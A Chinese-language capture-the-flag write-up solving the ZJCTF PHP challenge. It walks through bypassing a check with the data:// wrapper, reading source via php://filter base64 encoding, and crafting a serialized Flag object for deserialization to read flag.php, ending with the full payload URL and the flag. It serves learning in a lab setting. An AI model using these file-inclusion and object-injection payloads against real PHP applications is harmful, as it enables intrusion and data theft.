知识点:
1.php伪协议 //后面有关于伪协议的知识点链接,可以去学习一下
2.php反序列化
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
进入题目就看到这些php代码,先来一下代码审计吧~
改代码接受3个GET传参的值,分别为text,file,password,第一行就有一个if判断,才能执行后续代码,大概意思就是如果text存在而且内容为welcome to the zjctf 则条件为真执行后续代码.
这里了我们直接用到data:伪协议去给他绕过
?text=data://text/plain,welcome to the zjctf
大概原理就是 file_get_contents() 函数可以解析为协议,而data://伪协议的意思又刚好是传输数据内容为welcome to the zjctf, 之后就出现了下面这个页面.
然后我们继续代码分析~
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
preg_match() 函数,意思就是你上传的file文件file文件的名字中不能包含flag,之后就是包含file文件,他这里又提示:useless.php,那我们就
/?text=data://text/plain,welcome to the zjctf&file=useless.php
没啥反应,那就用php:filter 伪协议去读取一下内容看看吧~
/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
读出来下面的内容:
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
出来大概就是这个东西,我们就用base64解码一下,解除来是下面这些代码.
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
继续分析,意思就是定义了一个Flag的类里面又一个public属性和一个public function 函数,这个函数就是如果file属性存在,则读取file的内容,读取的大概就是flag.php,因为他上面有提示
并且password的传参最后进行了反序列化
$password = unserialize($password);
echo $password;
那就是构造一个对象吧~ 可以去下面这个地址来执行php代码 https://www.jyshare.com/compile/1/
<?php
class Flag{ //flag.php
public $file="flag.php";
}
$love=serialize(new Flag());
echo $love
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
构造 payload:/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
出来就是这个页面不过我用的是view-source:http://e831047b-cde7-4381-b2a3-b11d1cd89c8a.node5.buuoj.cn:81/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
<br><h1>welcome to the zjctf</h1></br>
<br>oh u find it </br>
<!--but i cant give it to u now-->
<?php
if(2===3){
return ("flag{c4cf23f0-0e09-4825-9f60-f1b26ce2a841}");
}
?>
<br>U R SO CLOSE !///COME ON PLZ
伪协议知识点链接: 文件包含与PHP伪协议 - beiwo - 博客园 (cnblogs.com)